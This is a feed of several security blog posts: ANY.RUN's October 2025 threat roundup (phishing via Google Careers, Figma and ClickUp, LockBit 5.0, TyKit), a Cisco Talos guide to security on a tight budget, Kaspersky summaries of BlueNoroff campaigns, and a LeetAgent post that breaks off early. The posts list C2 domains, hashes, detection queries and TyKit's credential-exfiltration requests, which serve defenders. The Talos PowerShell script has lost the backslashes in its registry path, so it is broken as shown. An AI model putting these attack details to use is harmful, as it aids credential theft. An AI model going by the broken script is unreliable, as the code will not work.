Major Cyber Attacks in October 2025: Phishing via Google Careers & ClickUp, Figma Abuse, LockBit 5.0, and TyKit 

Phishing campaigns and ransomware families evolved rapidly this October, from fake Google Careers pages and ClickUp redirect chains to Figma-hosted credential theft and LockBit’s move into ESXi and Linux systems. ANY.RUN analysts also uncovered TyKit, a reusable phishing kit hiding JavaScript inside SVG files to steal Microsoft 365 credentials across multiple sectors. 

Each of these threats shows how attackers are increasingly abusing legitimate cloud platforms, layering CAPTCHA checks and redirects to bypass detection. All cases were analyzed inside ANY.RUN’s Interactive Sandbox, revealing execution flows and behavioral indicators missed by static tools; insights SOC teams can turn into actionable detection logic. 

Let’s break down how these attacks unfolded, who they targeted, and what security teams can learn to strengthen their defenses before the next wave hits. 

1. Google Careers Phishing Campaign: Legitimate Platforms Used to Steal Corporate Credentials 

Post on X 

ANY.RUN analysts uncovered a phishing campaign posing as Google Careers, where attackers combined a Salesforce redirect, Cloudflare Turnstile CAPTCHA, and a fake job application page to steal corporate credentials. The campaign primarily targets employees in technology, consulting, and enterprise service sectors, exploiting the trust people place in well-known brands and cloud services. 

Unlike typical phishing kits, this campaign weaves together multiple legitimate platforms to make the flow appear authentic, slipping through filters and reputation-based security tools. Once credentials are entered on the fake Google Careers portal, they’re exfiltrated to the command-and-control (C2) server, such as satoshicommands[.]com, enabling further compromise of work accounts, client data, and internal collaboration tools. 

For organizations, this attack creates a chain reaction: compromised mailboxes, lateral movement across SaaS ecosystems, and potential exposure of customer or partner data; all while evading detection from traditional tools that trust the Salesforce and Cloudflare domains in the redirect path. 

See full execution chain exposed in 60 seconds 

Fake Google Careers page displayed inside ANY.RUN sandbox 

Adversaries in this campaign misuse legitimate platforms to host phishing flows that evade automated detection. The combination of trusted domains and multi-step redirection makes these attacks particularly hard to catch without behavioral visibility. 

Below are ready-to-use Threat Intelligence Lookup queries to expand visibility, uncover infrastructure overlaps, and convert findings into detection rules, not just IOCs: 

Google-like application domains: domainName:”apply.g*.com” OR domainName:”hire.g*.com” 

Vercel deployment patterns: domainName:”puma-*.vercel.app” OR domainName:”hiring*.vercel.app” 

YouTube TLD impersonation: domainName:”hire.yt” 

C2 domain: domainName:”satoshicommands.com” 

Google Careers phishing infrastructure tracking with TI Lookup 

Gathered IOCs: 

  • 188[.]114[.]97[.]3  
  • 104[.]21[.]62[.]195  
  • hire[.]gworkmatch[.]com  
  • satoshicommands[.]com 

2. Figma Abuse Leads to Microsoft-Themed Phishing Campaigns 

    Post on X 

    ANY.RUN analysts identified a growing wave of phishing attacks abusing Figma, where public design prototypes are used to host and deliver Microsoft-themed credential theft campaigns. This trend highlights a serious blind spot in corporate defenses; the exploitation of trusted cloud platforms that security systems often whitelist by default. 

    Attackers are turning to Figma because it offers everything they need for a convincing delivery: it’s a widely trusted domain, allows anyone to publish and share prototypes publicly without authentication, and renders interactive content directly in the browser. That makes it perfect for embedding phishing elements, buttons, links, and visuals that look completely legitimate, while bypassing traditional email filters and URL reputation checks. 

    Across multiple samples analyzed last month, 49% of these attacks were linked to Storm-1747, followed by Mamba (25%), Gabagool (2%), and several smaller operators. Each uses Figma as the initial hosting vector, sending victims “document” invitations that appear genuine and trigger the phishing flow upon interaction. 

    Check real case: Figma abuse leading to fake Microsoft login page 

    Full execution chain of Microsoft-themed phishing attack with Figma abuse 
    1. Phishing email invites the victim to view a “shared document.” 
    1. Figma prototype hosts a fake collaboration page within the figma.com domain. 
    1. Embedded link triggers a fake CAPTCHA or Cloudflare Turnstile widget. 
    1. Redirection leads to a Microsoft-themed login page that collects credentials. 

    Inside ANY.RUN’s Interactive Sandbox, analysts can safely detonate these links, visualize the full redirection flow, and expose the hidden credential capture mechanism; something static filters miss entirely. This interactive approach gives SOC teams real behavioral context for tuning detections and reduces investigation time when facing similar cloud-hosted phishing chains. 

    Detect evasive threats in a live, interactive sandbox VM 
    Simplify investigations, reduce workload, and cut MTTR



    Sign up with business email 


    To uncover additional campaigns abusing Figma and connected infrastructure, use the following TI Lookup query

    domainName:”figma.com” AND threatName:”phishing” 

    ANY.RUN Sandbox analyses of phishing attacks with Figma abuse 

    This search surfaces recent submissions that share behavioral traits, letting SOC teams expand visibility and transform isolated IOCs into behavioral detection rules

    Gathered IOCs: 

    • 9a4c7dcf25e9590654694063bc4958d58bcbe57e5e95d9469189db6873c4bb2c 
    • Dataartnepal[.]com 

    3. LockBit 5.0: New Variant Targets ESXi and Linux, Putting Critical Infrastructure at Risk 

      Post on X 

      Researchers spotted a major update from the LockBit group on its sixth anniversary: LockBit 5.0. Unlike earlier releases, this version targets not only Windows but also Linux and VMware ESXi, meaning attackers are now going after core infrastructure. A single successful intrusion can take down many virtual machines at once and knock whole systems offline. 

      LockBit 5.0 introduces stronger obfuscation, flexible configuration files, and enhanced anti-analysis techniques, making it significantly harder to detect and dissect. The campaign primarily targets enterprise networks, managed service providers, and government systems across Europe, North America, and Asia, where virtualized environments form the backbone of daily operations. 

      A single LockBit 5.0 intrusion can shut down dozens of servers simultaneously, halting production systems, paralyzing data centers, and causing prolonged outages with severe financial and reputational consequences. 

      New LockBit variant targeting not only Windows, but also ESXi and Linux 

      Technical Overview of LockBit 5.0 Variants 

      1. VMware ESXi 

      View real-world analysis of VMware ESXi variant 

      The most critical of the three builds. A dedicated encryptor for hypervisors capable of disabling multiple virtual machines at once. Its CLI closely mirrors the Windows version but adds datastore and VM config targeting, enabling it to halt operations across entire host environments in seconds. 

      1. Windows 

      View real-world analysis of Windows variant 

      LockBit 5.0 ransom note exposed inside ANY.RUN sandbox 

      The mainline variant runs with DLL reflection, supports both GUI and console modes, encrypts local and network drives, and performs cleanup actions like deleting shadow copies, stopping critical services, and clearing event logs. It drops a ransom note linking to LockBit’s live negotiation portal. 

      1. Linux 

      View real-world analysis of Linux variant 

      A lightweight console-based encryptor that replicates Windows behavior with added mount point filters, disk wiping, anti-analysis routines, and region-based execution restrictions to evade detection and avoid unwanted publicity in certain locales. 

      Inside ANY.RUN’s Interactive Sandbox, analysts can trace how the new encryptors behave across each operating system, from memory injection and service termination to encryption logic and ransom note delivery, helping SOC teams identify new TTPs early and enrich detection logic with behavioral indicators, not just static IOCs. 

      Use the following Threat Intelligence Lookup queries to identify LockBit 5.0 activity and enrich your SOC’s detection coverage with live sandbox data: 

      ESXi Lockbit 5.0: commandLine:”vmware -v” 

      Linux Lockbit 5.0: filePath:”^/home/user/.local/share/evolution/tasks/ReadMeForDecrypt.txt$” 

      Windows Lockbit 5.0: filePath:”^C:\ReadMeForDecrypt.txt$” 

      These queries help analysts pivot from OS-specific artifacts to global attack patterns, connecting infrastructure and payload updates across submissions. 

      Catch attacks early with instant IOC enrichment in TI Lookup
      Power your proactive defense with data from 15K SOCs 



      Start Investigation 


      What Security Teams Should Do Now: 

      • Boost visibility: Combine endpoint and network telemetry with behavior-based monitoring. Use ANY.RUN’s sandbox and TI Lookup to detect evolving LockBit builds earlier, enrich IOC sets, and reduce MTTR by up to 21 minutes. 
      • Harden access: Enforce MFA for vCenter and admin accounts, restrict direct Internet access to ESXi hosts, and route all management connections through a secure VPN. 
      • Ensure resilience: Maintain offline backups, test recovery workflows regularly, and rehearse ransomware playbooks to minimize downtime in case of a breach. 

      4. ClickUp Hosts Used as Phishing Redirectors 

        Post on X 

        ANY.RUN analysts found attackers abusing ClickUp to host redirect pages and hide phishing flows. In many cases ClickUp is the visible domain the victim clicks, then the chain moves through other trusted services (like Microsoft’s microdomains and Azure Blob Storage) before landing on a credential-harvesting page. 

        Attack execution chain using legitimate services 

        Attackers use ClickUp because public docs and prototypes are quick to create, look legitimate in inboxes, and come from a domain most organizations don’t block. Besides ClickUp, they also exploit microdot-style Microsoft endpoints and Azure Blob Storage to host the final phishing page, making the whole flow look like normal collaboration traffic. 

        Check a real-world case that exposes the full attack chain in ~1 minute 

        Fake Microsoft login page displayed inside ANY.RUN sandbox 
        1. Phishing email: Invites victim to view a shared ClickUp “document.” 
        1. ClickUp redirect page: Host or shortener on doc[.]clickup[.]com forwards the user. 
        1. Microsoft microdomain hop: A forms or doc endpoint (e.g., forms.office.com or other msft microdomains) is used to add legitimacy. 
        1. Azure Blob Storage: Final hosting for the fake Microsoft login page. 
        1. Credential exfiltration: Captured credentials POST to attacker-controlled collector. 

        Because every domain in the chain belongs to a legitimate provider, these campaigns are hard to detect. Filters and whitelists that trust SaaS vendors often let the traffic pass, and users are less likely to be suspicious when the URL looks familiar. 

        Inside ANY.RUN’s Interactive Sandbox, analysts can observe how each redirect unfolds across real Microsoft and ClickUp domains, see the credential-harvesting page render inside Azure Blob Storage, and extract live indicators for immediate defense updates. This visibility helps SOC teams shorten investigation time and enrich detection logic with behavioral context, not just URLs. 

        Ready-to-Use Threat Intelligence Lookup Queries 

        Use the following TI Lookup queries to uncover related infrastructure and track recurring phishing activity across trusted cloud providers: 

        Azure Blob Storage: domainName:”*.blob.core.windows.net$” AND threatName:”phishing 

        Microsoft Forms: domainName:”forms.office.com$” AND threatName:”phishing 

        ClickUp: domainName:”clickup.com$” AND threatName:”phishing” 

        Gathered IOCs: 

        • https[:]//forms[.]office[.]com/e/YtRCbHDk14 
        • microlambda[.]blob[.]core[.]windows[.]net 

        5. TyKit: New Phishkit Stealing Hundreds of Microsoft Accounts in Orgs 

        Detailed breakdown of TyKit attack 

        ANY.RUN analysts identified Tykit, a reusable phishing kit that hides JavaScript inside SVG files to push victims through a multi-stage flow and steal Microsoft 365 logins.  

        First seen in May 2025 with activity peaking in September–October 2025, it hits organizations across the US, Canada, LATAM, EMEA, SE Asia, and the Middle East, with notable impact on finance, government, telecom, IT, real estate, construction, professional services, education, and more. 

        Tykit blends redirects, basic anti-debugging, and staged C2 checks to outlast simple filters. A successful phish can lead to account takeover, data theft from mailboxes and cloud drives, lateral movement, and MFA bypass via AitM logic. 

        View analysis session with TyKit 

        Redirecting SVG file analyzed inside ANY.RUN sandbox 

        How the attack unfolds: 

        Execution chain of TyKit attack   
        1. SVG delivery → Obfuscated JS rebuilds payload and triggers redirect (eval, atob, charCodeAt patterns). 
        1. Trampoline + CAPTCHA → Cloudflare Turnstile; blocks DevTools/context menu. 
        1. Fake M365 sign-in → Background POST /api/validate to C2; server returns next HTML stage. 
        1. ExfiltrationPOST /api/login sends {key, redierct [sic], token, server, email, password}. 
        1. Optional log hookPOST /x.php when server replies with status:”info”. 

        To collect all IOCs and perform a detailed case analysis, see the following TI Lookup  query: 

        SVG/C2 pattern: domainName:”^segy.*” 

        Combined query: sha256:”a7184bef39523bef32683ef7af440a5b2235e83e7fb83c6b7ee5f08286731892″ OR domainName:”^loginmicr*.cc$” OR domainName:”^segy*” 

        Search results using TI Query 

        How to Prevent Tykit Attacks 

        • Inspect SVGs: Treat SVGs as potential attack vectors; detonate them in a sandbox to reveal hidden scripts and redirects. 
        • Enable phishing-resistant MFA: Use FIDO2 or certificate-based methods and disable legacy authentication. 
        • Monitor key indicators: Watch for domains like segy*, loginmicr(o|0)s.*.cc, and POSTs to /api/validate or /api/login. 
        • Train and respond fast. Teach users that even image files can trigger phishing. If compromised, revoke sessions and reset credentials. 

        Using ANY.RUN’s Interactive Sandbox during incident response accelerates this process: analysts can safely replay the infection chain, confirm what data was exfiltrated, and extract accurate IOCs within minutes. This shortens MTTR and helps strengthen detections for the next wave of similar campaigns. 

        Gathered IOCs: 

        SHA256 (SVGs): 

        • ECD3C834148D12AF878FD1DECD27BBBE2B532B5B48787BAD1BDE7497F98C2CC8 
        • A7184BEF39523BEF32683EF7AF440A5B2235E83E7FB83C6B7EE5F08286731892 

        Domains & patterns: 

        • segy[.]zip, segy[.]xyz, segy[.]cc, segy[.]shop, segy2[.]cc 
        • ^loginmicr(o|0)s.*?.([a-z]+)?d+.cc$ 

        URLs & requests: 

        • GET /?s=<b64_victim_email> 
        • POST /api/validate 
        • POST /api/login 
        • POST /x.php 

        View august’s top threats analysis to spot recurring tactics and compare how attacker trends evolved month to month 

        Empower Your SOC with Live Visibility and Actionable Intelligence 

        From phishing kits and stealers to ransomware and zero-day exploits, today’s attacks evolve faster than static defenses can keep up. Investigating them manually can take hours, while attackers move in minutes. ANY.RUN helps SOC teams close that gap with real-time, interactive analysis. 

        Here’s how teams stay ahead: 

        • Expose the full attack chain instantly: Detonate suspicious files, links, or scripts in real time and see every process, redirect, and payload as it happens. 
        • Accelerate investigations: Live network mapping, script deobfuscation, and automatic IOC extraction cut analysis time from hours to minutes. 
        • Reduce MTTR by over 21 minutes per case: Clear visibility into system behavior and exfiltration flows enables faster triage and confident containment. 
        • Enrich detection logic automatically: Pivot from a single domain or hash in Threat Intelligence Lookup to hundreds of related submissions, revealing shared infrastructure and TTP patterns. 

        For SOCs, MSSPs, and threat researchers, ANY.RUN delivers the speed, depth, and live visibility needed to turn reactive defense into proactive threat hunting and stay ahead of every new campaign. 

        Explore ANY.RUN’s capabilities during 14-day trial→ 

        About ANY.RUN 

        ANY.RUN supports more than 15,000 organizations worldwide, including leaders in finance, healthcare, telecom, retail, and tech, helping them strengthen security operations and respond to threats with greater confidence. 

        Designed for speed and visibility, the solution blends interactive malware analysis with live threat intelligence, giving SOC teams instant insight into attack behavior and the context needed to act faster. 

        By integrating ANY.RUN’s Threat Intelligence suite into your existing workflows, you can accelerate investigations, minimize breach impact, and build lasting resilience against evolving threats. 

        The post Major Cyber Attacks in October 2025: Phishing via Google Careers & ClickUp, Figma Abuse, LockBit 5.0, and TyKit  appeared first on ANY.RUN’s Cybersecurity Blog.

        ANY.RUN’s Cybersecurity Blog – ​Read More

        Cybersecurity on a budget: Strategies for an economic downturn

        • During economic uncertainty, businesses face the challenge of maintaining strong cybersecurity while managing tightened budgets.  
        • Cyber threats can become more numerous, motivated, and persistent during economic downturns, making the need for resilient, cost-effective security measures critical.  
        • This blog shares practical strategies to help absorb budget cuts while minimizing the damage to an organization’s cybersecurity posture. 

        Learning from history 

        Cybersecurity on a budget: Strategies for an economic downturn

        As many seasoned industry professionals remember, 2008 – 2010 was a tough time for the tech industry as well as the larger U.S. economy. During the Great Recession, unemployment rose as high as 10%, and IT and cybersecurity budgets were certainly not spared. During the 2020 COVID-19 crisis, the need for tech workers and larger IT budgets to support remote work was so strong that it outweighed the global economic slowdown. As a result, many new IT professionals never experienced what a real recession feels like. 

        The FBI noted a 22.3% increase in cybercrime complaint submissions from 2008 – 2009, which some attributed in part to unemployed, financially desperate tech workers turning their skillsets to crime. At that time, threat actors mostly targeted individuals in the form of scams, fraud, and other crimes. In today’s environment, a similar economic downturn could easily lead to a surge in the number and talent of ransomware operators. 

        Why? Unlike in the Great Recession, most corporate networks are now remote- or hybrid-enabled by default. While nothing about a network’s attack surface would inherently change due to an economic downturn, any increase in the number and skill level of attackers, decrease in the number and skill of defenders, or decrease in the quality of security measures could have devastating consequences for the IT environment owner.

        Defend legacy hardware/software 

        As was painfully highlighted in recent years by Salt Typhoon incursions into telecommunications networks, working with legacy hardware and software is a risk many businesses take. As belts tighten during an economic downturn, cybersecurity budgets will decrease, and many businesses will inevitably need to postpone technology upgrades beyond end of life. While this introduces risk, there are a few solid strategies to mitigate that risk. 

        Defense in depth and zero trust 

        While these terms were both solid contenders for the No. 1 Sales Buzzword of 2023, they reflect a valuable underlying principle: Assume the adversary is going to gain a foothold and architect accordingly.  

        If a business must continue to use 40% legacy firewalls and only has budget to replace 60%, those legacy firewalls should be positioned in the interior of the network versus on the perimeter and logically separated so an adversary cannot “island-hop” from one to the next using the same vulnerability. If a legacy server must be positioned in a public-facing location, it should be placed in a tightly-controlled DMZ where compromise of that server would not lead to further network intrusion. 

        No breach is desirable, but you can minimize the potential for lateral movement. 

        Lock down unnecessary functionality 

        Many vulnerable applications and systems are targeted via plugins or extra features that an organization isn’t even using. The classic example is a webserver with an abandoned WordPress plugin that later is discovered to be vulnerable. Another example is the SSH login method on a VMWare ESXi hypervisor — an organization may accidentally leave this enabled and allow an adversary to log in as root.  

        For vulnerable systems and software, it is critical to review what is strictly necessary for it to operate and disable all other functionalities. This is an important part of attack surface reduction.

        Optimize open- and closed-source software 

        While closed-source commercial security tools usually offer the easiest setup and best overall experience, transitioning a budget-constrained organization to a blend of commercial and open-source software may be the right answer for maximum efficacy. Here are some rules of thumb for selection. 

        Open source 

        Open-source software excels when the product does not depend on frequent updates or detailed technical support. Initial setup may be involved and challenging, but financial savings can be significant. A good current example is the Zeek network security monitor, which is not a standalone security product but significantly enhances network-based detection capabilities. An open-source SIEM solution that may be suitable for smaller businesses is Security Onion. 

        Closed source/commercial 

        For solutions that depend on frequent updates, particularly time-sensitive signature/definition updates, commercial security solutions are the only answer. This primarily includes endpoint detection and response (EDR)/antivirus (AV), firewall, and DNS security solutions. Recognizing that this is a mandatory expenditure will help solidify planning for other areas of cost savings.

        Configure what you already have 

        For organizations that don’t have the budget for new security systems, making the most of what you already have can go a long way to ensure that basic level of security and hardening is applied. For further information beyond what is reflected below, consider reading this paper on practical security measures for small and/or budget-constrained organizations. 

        EDR and antivirus tuning 

        Review configuration and policy settings for your existing security investments like AV or EDR solutions. Optimizing them is an easy way to increase security for free. Revisit any policies that were not recently reviewed. Simple configuration changes like turning on heuristic scanning in the AV software can help to catch threats that haven’t been seen before or use more advanced methods of compromise. During the AV/EDR review, checking the exclusions list is always a good idea. As an extreme example that Talos IR has unfortunately seen during incident response, having the whole C: drive excluded prevents any detections at all. Exclusions should be targeted and precise.

        Windows domain and cloud policies 

        Another powerful, albeit time-consuming, security measure is to optimize Windows domain policies and configurations to help protect the organization. Windows Security baselines, published by Microsoft, are a great starting point. Policy settings like enforcing strong passwords, limiting admin access, and disabling unnecessary features can help tighten security without spending extra money. The CIS also recently published an extensive guide on Active Directory and GPM configuration best practices. For cloud environments, CISA’s SCuBA program offers excellent configuration security guidance.  

        PowerShell hardening  

        Locking down PowerShell so only trusted users can run it, or setting it to a restricted mode, makes it much harder for attackers to use it against you. The newest versions of PowerShell provide excellent controls, allowing your team to restrict access, limit which scripts can be executed, and configure other granular restrictions, which will help ensure that even if a malicious PowerShell script lands somewhere in the environment, the hardened configuration of PowerShell will limit its functionality.  

        Executable neutering 

        Various tricks to prevent executables from running by default can be surprisingly effective. For example, changing the default program for opening .js files to Notepad stops these scripts from running. These small changes may seem simple, but together they can create strong layers of defense. For organizations with limited resources, these tweaks can make a big difference in reducing risk without breaking the bank. The following is a very simple PowerShell script which will ensure that malware on unsuspecting user systems is treated as a text file. Of course, these suggestions should be tested and modified to ensure that they do not impair valid enterprise functions.

        # List of dangerous file extensions to associate with Notepad 
        $extensions = @(".js", ".jse", ".vbs", ".vbe", ".wsf", ".wsh", ".ps1", ".cmd", ".bat", ".hta", ".scr") 
        foreach ($ext in $extensions) { 
            try { 
                $assoc = New-Object -ComObject WScript.Shell 
                $assoc.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerFileExts$extUserChoiceProgid", "Applicationsnotepad.exe", "REG_SZ") 
                Write-Host "Set $ext to open with Notepad" 
            } 
            catch { 
                Write-Warning "Failed to set $ext: $_" 
            } 
        } 

        Figure 1: Sample script to neuter executables.

        Logging and alerting optimization 

        Assuming you have the storage space, optimizing logging and alerting is a cheap way to improve network security when a breach is likely. A good understanding of which systems are legacy and therefore vulnerable is an excellent starting point — prioritizing visibility on those systems is key.  

        Canaries and decoys 

        Thoughtful placement of canary tokens, decoy/honey accounts, and other creative countermeasures on vulnerable systems are other mechanisms to quickly detect and shut down an adversary in the network. This is especially important when you start with the assumption that you will be breached at some point due to vulnerable systems or software. 

        Firewalls and network filtering 

        The majority of organizations have firewalls and network boundary devices deployed across their infrastructure. Tuning these devices to filter high ports and allow for common ports like 80/443 outbound while restricting access to unnecessary services results in the disruption of many command-and-control malware channels, which often try to evade detection by using high ports for communication.

        Doing more with less staffing 

        An ISC2 survey showed that 24% of cybersecurity departments faced layoffs in 2024, a trend which seems to be continuing into 2025. This was not due to a surplus of cybersecurity staffing. 67% of respondents also agreed that they no longer had the staff to meet their goals. In an economic downturn, this situation would only worsen. It is therefore important to consider how to use the remaining personnel budget as effectively as possible. 

        Attract and retain high-quality people 

        Recent developments have virtually guaranteed a future shortage of skilled mid-career cybersecurity professionals. First, the glut of cybersecurity talent on the market due to recent layoffs have led to many mid-career professionals taking entry-level jobs. Second, the advent of generative AI has led many organizations to reduce their hiring of entry-level professionals. These two factors have created an extremely hostile environment for recent graduates from cybersecurity educational programs. The authors of this post have personally observed several promising students graduate with cybersecurity degrees and ultimately pivot to unrelated fields due to the lack of opportunity. Unless gen AI advancements truly replace cybersecurity professionals, the current entry-level pipeline collapse may well lead to a shortage of skilled mid-career professionals in the next 5 – 10 years as the replacement rate drops below the rate of retirement and general attrition. 

        With that in mind, forward-thinking organizations should take care to attract above-average, early-to-mid career talent and make every effort to train and retain them. It is currently a strong employers’ market, and forward investment now may result in relatively cheap, seasoned employees in the future when the pendulum swings back. 

        Quality specialist partners 

        In a budget-constrained environment, having a strong relationship with on-demand cybersecurity consultants can be a form of leverage, providing tremendous benefit at a relatively cheap cost. If an organization is large enough to experience a significant cybersecurity incident every week, it would make sense to fully staff an in-house incident response team. However, for most organizations that only experience a few incidents per year, it makes good financial sense to employ a team of cybersecurity generalists and have an incident response provider on retainer for extreme circumstances.  

        Using Cisco Talos as an example, not only is an annual retainer with Cisco Talos Incident Response cheaper than employing a single full-time incident responder, but the retaining organization also gets the benefit of a highly-experienced incident response team that deals with major incidents around the globe on a weekly basis. 

        Hard decisions are inevitable when the security budget decreases. However, exploring new options to add efficiency can not only protect the organization in the short term, but also provide long-term efficiency gains when budgetary restrictions eventually ease. 

        Cisco Talos Blog – ​Read More

        GhostCall and GhostHire — two campaigns by BlueNoroff

        Experts from the Kaspersky Global Research and Analysis Team (GReAT) talked at the Security Analyst Summit 2025 about the activities of the BlueNoroff APT group, which we believe to be a subgroup of Lazarus. In particular, they described in detail two campaigns targeting developers and executives in the crypto industry: GhostCall and GhostHire.

        The BlueNoroff actors are primarily interested in financial gain, and currently prefer to attack employees of organizations working with blockchain. Targets are chosen carefully: the attackers clearly prepare thoroughly for each attack. The GhostCall and GhostHire campaigns are very different from each other, but they depend on a common management infrastructure, which is why our experts combined them into a single report.

        The GhostCall campaign

        The GhostCall campaign mainly targets executives of various organizations. The attackers attempt to infect their computers with malware designed to steal cryptocurrency, credentials, and secrets that the victims may be working with. The main platform that GhostCall operators are interested in is macOS — probably because Apple devices are particularly popular among the management of modern companies.

        GhostCall attacks begin with fairly sophisticated social engineering: attackers pretend to be investors (sometimes using stolen accounts of real entrepreneurs and even fragments of real video calls with them) and try to arrange a meeting to discuss partnership or investment. The goal is to lure the victim to a website that mimics Microsoft Teams or Zoom. A standard trap awaits them there: the website displays a notification about the need to update the client or fix some technical problem. To do this, the victim is asked to download and run a file, which leads to the infection of the computer.

        Details about the various infection chains (there are at least seven in this campaign, four of which our experts haven’t encountered before), along with indicators of compromise, can be found in the blogpost on the Securelist website.

        The GhostHire campaign

        GhostHire is a campaign targeting developers working with blockchain. The ultimate goal is the same —to infect computers with malware — but the maneuver is different. In this case, attackers lure victims with offers of employment with favorable terms. During negotiations, they give the developer the address of a Telegram bot, which provides the victim with a link to GitHub with a test task, or offers to download it in an archive. To prevent the developer from having time to think it over, the task has a fairly tight deadline. While performing the test, the victim’s computer becomes infected with malware.

        The tools used by attackers in the GhostHire campaign and their indicators of compromise can also be found in the post on the Securelist blog.

        How to protect yourself from GhostCall and GhostHire attacks?

        Although GhostCall and GhostHire target specific developers and company executives, attackers are primarily interested in the working infrastructure. Therefore, the task of protecting against these attacks falls on the shoulders of corporate IT security specialists. We therefore recommend:

        Periodically raising awareness among all company employees about the tricks used by modern attackers. Training should take into account the nature of the work of specific specialists, including developers and managers. Such training can be organized using a specialized online platform, such as Kaspersky Automated Security Awareness Platform.

        Use modern security solutions on all corporate devices that employees use to communicate with the outside world.

        Kaspersky official blog – ​Read More

        5 SOC Challenges and How Threat Intelligence Solves Them 

        No SOC is perfect, but it’s possible to overcome frequent shortcomings and achieve measurable results by introducing one essential component of modern cybersecurity operations: threat intelligence. 

        Organizations using ANY.RUN’s TI solutions report the following results: 

        • 94% experience faster triage 
        • Up to 58% more threats get detected 
        • 3x improvement in overall SOC performance  

        Quality, real-time threat intelligence helps SOCs tackle their toughest challenges. More on that below. 

        #1. Low Detection Rates 

        Factors related to low detection rate its possible cost 

        As attackers continuously refine their evasion tactics, low detection rates remain a key challenge for SOC teams. When even one missed threat can quickly escalate into serious operational and reputational risks, businesses can’t afford to overlook this metric. 

        Solution: Threat intelligence is a powerful driver for early detection. This alone can radically boost your performance rates. How? Through expanded threat coverage, which is the key mission of Threat Intelligence Feeds

        TI Feeds offer IOCs for better detection and streamlined workflows 

        By aggregating live attack data from 15,000+ organizations across industries and counties, TI Feeds highlights which malware is targeting real business right now. The result is 99% unique network IOCs that do not overlap with other sources and get carefully filtered to avoid false positives. 

        For your business, this means a wide, in-depth, and relevant visibility into the latest threats. That’s what drives the SOC team’s detections up and helps you remain one step ahead of attackers, mitigating the risk of costly disruptions. 

        Join 15,000 enterprises and 500,000 analysts who trust ANY.RUN 
        for real-time, verified threat intelligence



        Contact us 


        Outcome: 

        • Proactive detection – identify emerging threats in your SOC early on. 
        • Wide coverage of threats – monitor latest malware and phishing globally. 
        • Resources saved – no time and effort is wasted on false positives and escalations. 

        #2. Slow Incident Response 

        The underlying reasons behind slow incident response often include a lack of automation and alert prioritization. But when incidents miss context, even the most efficient workflow might stall. Timely reaction becomes impossible when analysts have to go through disconnected alerts and bare IOCs. 

        You can improve your SOC’s metrics by adding TI Feeds to your security stack 

        Solution: Threat intelligence fueled with live context from ongoing malware investigations allows you to detect threats early on and cut response time dramatically. Each indicator from TI Feeds has a detailed sandbox report behind it. With it, you can see how malware behaves, what processes it affects, and what related IOCs there are.  

        Outcome: 

        • Full threat visibility – it takes seconds to dig deeper into a malicious sample for actionable insights. 
        • Shorter MTTR – 21 min less per incident. 
        • Instant threat blocking – integrate TI Feeds with your SIEM, SOAR, or EDR to refine playbooks in real time. 

        #3. Large Alert Backlog 

        SOC teams must face massive amounts of data, and each unprocessed item awaiting manual investigation is a potential risk. That is why there’s a demand for solutions that work fast and support automated workflows.  

        Solution: Efficient TI solutions clear backlogs quickly and ensure that no threat is overlooked, including evasive or hidden threats that might act without showing themselves for months, leading to a system-wide disruption. 

        TI Lookup is created for instant enrichment of IOCs for quick yet informed action 

        All it takes is one query to investigate a suspicious sample in Threat Intelligence Lookup to learn instantly if it poses danger. When the solution is integrated into your technology stack, this process becomes even smoother and can be scaled up without extra resources. 

        Proactive research of threats and enrichment of IOCs in TI Lookup takes seconds 

        Outcome: 

        • IOCs enriched in real time – gain actionable insights in under 40 seconds. 
        • Smarter decisions – 24x more IOCs per incident and not a single threat missed. 
        • Less escalations – threat intel empowers independency in Tier 1 analysts. 

        #4. Alert Fatigue and Burnout in Teams 

        The human factor has a major impact on cybersecurity. Endless alerts lead to lower productivity of analysts. False positives and lack of ready-to-use threat data cause alert fatigue, a phenomenon that can snowball into serious compromise risks. 

        From hands-on analyses to your infrastructure—that’s how TI Feeds extracts and delivers actionable IOCs 

        Solution: ANY.RUN delivers clean, reliable threat intelligence retrieved directly from malware analysts, not from third-party sources. This means that every IOC is verified and supplied in real time, allowing to decrease escalations between tiers and empower analysts to conduct proactive hunting and research. 

        Outcome: 

        • Focus maintained – reliable data makes for informed decisions across tiers. 
        • Motivation stays high – quality threat intel without noise lowers the workload. 
        • Better results with time saved – automated, streamlined workflow allows for 3x boost in performance rates. 

        #5. Lack of Integrity in Solutions 

        Enterprises often hesitate to adopt new solutions in fear that they might disrupt the established workflow and demand major changes in current operations. 

        Solution: It’s key to consider the possibility of smooth integration that leaves you with a unified, sustainable defense system rather than several standalone services. Threat intelligence should strengthen your ecosystem, not conflict with it. 

        TI solutions by ANY.RUN can be integrated through multiple sources 

        ANY.RUN’s TI Lookup and TI Feeds come with a wide range of integrations and connectors from renowned vendors, as well as the possibility for custom integrations through STIX/TAXII & API/SDK. 

        Outcome: 

        • Enterprise-grade solution – choose integration tailored to your business. 
        • Fast incident response – smoothly integrated solutions cut investigation time. 
        • Efficient threat blocking – use intelligence to empower instant updates in defensive strategy. 

        Conclusion 

        Making threat intelligence a part of your workflow brings integrity and sustainability to the entire infrastructure. You can transform common SOC challenges into opportunities for faster detection, smarter response, and overall cybersecurity resilience.  

        About ANY.RUN 

        Built for modern SOC workflows, ANY.RUN enables teams to detect threats faster and respond with confidence. Our Interactive Sandbox delivers real-time malware analysis and contextual threat intelligence for rapid, informed decisions. 

        Compatible with Windows, Linux, and Android, the cloud sandbox provides in-depth behavioral analysis without local configuration. Integrated TI Lookup and TI Feeds supply enriched IOCs and automation-ready intelligence, no infrastructure maintenance required. 

        Experience it with a 14-day trial → 

        The post 5 SOC Challenges and How Threat Intelligence Solves Them  appeared first on ANY.RUN’s Cybersecurity Blog.

        ANY.RUN’s Cybersecurity Blog – ​Read More

        LeetAgent: a tool shared by ForumTroll and Dante

        Our experts from the Kaspersky Global Research and Analysis Team (GReAT) reconstructed the chain of infection used in attacks by the ForumTroll APT group. During their investigation, they discovered that the tools used by ForumTroll were also used to distribute the commercial malware Dante. Boris Larin gave a detailed presentation on this research at the Security Analyst Summit 2025 conference in Thailand.

        What is ForumTroll APT, and how does it operate?

        In March, our technologies detected a wave of infections of Russian companies with previously unknown sophisticated malware. The attacks used short-lived web pages that exploited the CVE-2025-2783 zero-day vulnerability in Google Chrome. The attackers sent emails to employees of media, government, educational, and financial institutions in Russia, inviting them to participate in the Primakov Readings scientific and expert forum, which is why the campaign was given the catchy name “Forum Troll” and the group behind it was named ForumTroll. When the link in the email was clicked, the device was infected with malware. The malware used by the attackers was named LeetAgent because it received commands from the control server in Leet modified spellings.

